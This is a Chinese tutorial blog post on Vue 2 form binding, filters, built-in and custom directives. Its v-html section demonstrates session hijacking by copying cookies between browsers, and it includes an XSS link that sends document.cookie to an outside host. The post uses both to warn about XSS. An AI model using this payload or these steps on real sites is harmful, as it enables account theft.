Vue基础6之收集表单数据、过滤器、内置指令和自定义指令

收集表单数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <form @submit.prevent="subForm">    <!--阻止表单跳转-->
            <label for="zhId">账号:</label>
            <input type="text" id="zhId" v-model.trim="userinfo.account">   <br> <br>   <!--去除前后空格-->

            <label for="pass">密码:</label>
            <input type="password" id="pass" v-model="userinfo.password"> <br> <br>

            <label for="pass">年龄:</label>
            <input type="number" id="age" v-model.number="userinfo.age"> <br> <br>   <!--表单的number和v-model.number一般配合使用-->

            <label for="Gsex">性别:</label><input type="radio" name="sex" id="Gsex" value="" v-model="userinfo.sex"><input type="radio" name="sex"  value="" v-model="userinfo.sex"> <br><br>

            <label for="hobb">爱好:</label>
            读书<input type="checkbox" name="hobby" id="hobb" value="读书"  v-model="userinfo.hobby">
            看报 <input type="checkbox" name="hobby"  value="看报" v-model="userinfo.hobby">
            唱歌 <input type="checkbox" name="hobby"  value="唱歌" v-model="userinfo.hobby"> <br><br>

            <label for="belong">所属校区:</label>
            <select name="school" id="belong" v-model="userinfo.belong">
                <option value="">请选择校区</option>
                <option value="重庆">重庆</option>
                <option value="西安">西安</option>
            </select> <br><br>

            <label for="otherMess">其他信息:</label>
            <textarea name="other" id="otherMess"  v-model.lazy="userinfo.otherMess"></textarea> <br><br>   <!--懒加载:失去焦点时候Vue才会有值-->

            <input type="checkbox" name="agree" id="agreement" v-model="userinfo.agreement">
            <label for="agreement">阅读并接受 <a href="">《用户协议》</a> <br><br></label>
            <input type="submit" value="提交">
        </form>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            userinfo:{
                account:"",
                password:"",
                sex:"男",
                hobby:[],
                belong:"",
                otherMess:"",
                agreement:"",
                age:""
            }
        },
        methods:{
            subForm(){
                console.log(JSON.stringify(this.userinfo))
            }
        }
    })
</script>
</html>

请添加图片描述
收集表单数据:

  • 若:<input type=“text” />,则v-model收集的是value值,用户输入的就是value值
  • 若:<input type=“radio” />,则v-model收集的是value值,且要给标签配置value值
  • 若:<input type=“checkbox” />
    1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
    2.配置input的value属性:
    (1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
    (2)v-model的初始值是数组,那么收集的就是value组成的数组
  • 备注:v-model的三个修饰符:
    lazy:失去焦点再收集数据
    number:输入字符串转为有效的数字
    trim:输入首尾空格过滤

过滤器

免费的提供第三方库的网站: bootCDN
使用轻量级格式化日期库:dayjs

局部过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
    <div id="app">
        <h1>显示格式化后的时间</h1>
        <!--用计算属性实现-->
        <h2>现在是:{{fmtTime}}</h2>
        <!--用methods实现-->
        <h2>现在是:{{timeFormatter()}}</h2>
        <!--用过滤器实现-->
        <h2>现在是:{{time | tfmFormatter}}</h2>
        <!--用过滤器实现(传参)-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
        <!--多个过滤器串联-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            time:1671009724259  //时间戳
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        methods:{
            timeFormatter(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        filters:{
            tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss"){
                return dayjs(value).format(str)
            },
            mySlice(value){
                return value.slice(0,4)
            }
        }
    })
</script>
</html>

在这里插入图片描述
过滤器调用步骤:

在这里插入图片描述
script调用步骤:
在这里插入图片描述

全局过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
    <div id="app">
        <h1>显示格式化后的时间</h1>
        <!--用计算属性实现-->
        <h2>现在是:{{fmtTime}}</h2>
        <!--用methods实现-->
        <h2>现在是:{{timeFormatter()}}</h2>
        <!--用过滤器实现-->
        <h2>现在是:{{time | tfmFormatter}}</h2>
        <!--用过滤器实现(传参)-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
        <!--多个过滤器串联-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
    </div>
    <div id="root">
        <h2>{{msg}}</h2>
        <h2>{{msg | mySlice}}</h2>
        <h2 :x="msg| mySlice">真好</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    // 全局过滤器
    Vue.filter('mySlice',function(value){
         return value.slice(0,4)
    })
    new Vue({
        el:"#app",
        data:{
            time:1671009724259  //时间戳
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        methods:{
            timeFormatter(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        //局部过滤器
        filters:{
            tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss") {
                return dayjs(value).format(str)
            }
        }
    })
    new Vue({
        el:"#root",
        data:{
            msg:"hello,你好啊,今天天气真不错"
        }
    })
</script>
</html>

在这里插入图片描述
过滤器:
定义:对要显示的数据进行特定格式化后显示(适用于一些简单逻辑的处理)
语法:

  1. 注册过滤器:Vue.filter(name,callback)或 new Vue{filters:{}}
  2. 使用过滤器:{{ xxx | 过滤器名}}或 v-bind:属性=“xxx | 过滤器名”

备注:

  1. 过滤器也可以接收额外参数、多个过滤器也可以串联
  2. 并没有改变原本的数据,是产生新的对应的数据

内置指令

v-text

我们学过的指令:
v-bind:单向绑定解析表达式,可简写为 :xxx
v-model:双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存在)
v-else:条件渲染(动态控制节点是否存在)
v-show:条件渲染(动态控制节点是否展示)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>v-text</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-text="name"></div>
        <hr>
        区别:
        <div>你好,{{name}}</div>
        <div v-text="name">你好,</div>
        <!--v-text不会解析标签-->
        <div v-text="tagName"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            tagName:"<h3>你好啊,我的朋友</h3>"
        }
    })
</script>
</html>

在这里插入图片描述
v-text 指令:

  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

v-html

使用

可以解析 html 标签

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-html="str"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            str:"<h3>早上好啊</h3>"
        }
    })
</script>
</html>

在这里插入图片描述

安全性

cookie工作原理

请添加图片描述
请添加图片描述
实际操作展示:

  1. 用谷歌浏览器查看cookie
    请添加图片描述

  2. 使用cookie-editor插件复制cookie
    在这里插入图片描述

  3. 再用火狐浏览器打开b站,显示的是未登录的状态
    在这里插入图片描述

  4. 使用火狐浏览器的插件cookie-editor将在谷歌浏览器中复制到的内容粘贴在这里
    请添加图片描述

  5. 刷新页面之后就可以得到一个已经登录状态的页面了
    请添加图片描述

v-html不安全案例
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-html="str"></div>
        <div v-html="surprise"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            str:"<h3>早上好啊</h3>",
            surprise:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接有惊喜</a>'
        }
    })
</script>
</html>

请添加图片描述
通过这种方式就能获取到你的所有cookie值,然后登录你的信息做坏事

但是,如果字段被HttpOnly限定了,那么只有http协议能读取到,通过js代码就读取不到了
在这里插入图片描述
在这里插入图片描述
v-html指令:

  1. 作用:向指定节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    (1)v-html会替换掉节点中所有的内容,{{xx}}则不会
    (2)v-html可以识别html结构
  3. 严重注意:v-html有安全性问题!!
    (1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    (2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

v-cloak指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <div id="app">
        <div>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            age:18,
            sex:"男"
        }
    })
</script>
</html>

在这里插入图片描述
如果步骤2执行慢了,则会出现以下的情况:
在这里插入图片描述
解决办法:
使用v-cloak

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="app">
    <div v-cloak>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            age:18,
            sex:"男"
        }
    })
</script>
</html>


步骤三没执行时候,v-cloak标签一直存在,页面内容不会显示,步骤三执行之后,v-cloak标签则会清除,页面内容正常展示
在这里插入图片描述
页面加载完毕效果:
在这里插入图片描述
v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-once指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2 v-once>初始化的n是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            n:1
        }
    })

</script>
</html>

请添加图片描述
v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

v-pre指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2 v-pre>Vue的展示</h2>
        <h2 v-pre>欢迎大家来到Vue的小课堂</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <h2 style="color:red">错误示范:因为下面标签中内容需要被解析</h2>
        <h2 v-pre style="color:red">当前的n值是:{{n}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            n:1
        }
    })
</script>
</html>

在这里插入图片描述
v-pre指令:

  1. 跳过其所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译

自定义指令

函数式

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2>姓名:{{name}}</h2>
        <button @click="name='李四'">修改姓名为李四</button>
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            n:1
        },
        directives:{
            //big函数何时会被调用?1.指令与元素成功绑定时(一上来)2.指令所在的模板被重新解析时
            big(element,binding){
                console.log("element:",element)
                console.log("binding:",binding)
                element.innerText=binding.value*10
            }
        }
    })
</script>
</html>

请添加图片描述

对象式

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <input type="text" v-fbind="n">
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            n:1
        },
        directives:{
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value=binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                }
            }
        }
    })
</script>
</html>

请添加图片描述

自定义命名组合式

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>example</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
  <div id="app">
    <div>当前的n值是:{{n}}</div>
    <button @click="n++">点我n+1</button>
    <div>放大10倍后的n值是:<span v-big-number="n"></span></div>
  </div>
</body>
<script>
  new Vue({
    el:"#app",
    data:{
      n:1,
    },
    directives:{
      //简写
      // "big-number"(element,binding){
      //   element.value=binding.value*10
      // }
      //全写
      "big-number":function(element,binding){
        element.innerHTML=binding.value*10
      }
    }
  })
</script>
</html>

请添加图片描述

全局自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>全局自定义指令</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
  <div id="app">
    <div>当前n的值是:{{n}}</div>
    <button @click="n++">点我n+1</button>
    <input type="text" v-fbind="n">
    <br><br>
    <div>放大10倍后的n值是:<span v-big="n"></span></div>
  </div>

  <div id="root">
    <br>
    第二个Vue容器的d值:{{d}} <br>
    <button @click="d++">点我d+1</button>
    <input type="text" v-fbind="d">
  </div>
</body>
<script>
  //对象式
  Vue.directive("fbind",{
    bind(element,binding){
      element.value=binding.value
    },
    inserted(element,binding){
      element.focus()
    },
    update(element,binding){
      element.value=binding.value
    }
  })

  //函数式
  Vue.directive("big",function(element,binding){
      element.innerHTML=binding.value*10
    })


  new Vue({
    el:"#app",
    data:{
      n:1
    },
  })
  new Vue({
    el:"#root",
    data:{
      d:1
    }
  })
</script>
</html>

请添加图片描述
请添加图片描述

自定义指令总结:

  1. 定义语法:
    (1)局部指令:
    new Vue({
    directives:{指令名:配置对象}
    })

    new Vue({
    directives(){指令名:回调函数}
    })
    (2)全局指令
    Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
  2. 配置对象中常用的3个 回调:
    (1)bind:指令与元素成功绑定时使用
    (2)inserted:指令所在元素被插入页面时调用
    (3)update:指令所在模板结构被重新解析时调用
  3. 备注:
    (1)指令定义时不加v-,但使用时要加v-
    (2)指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值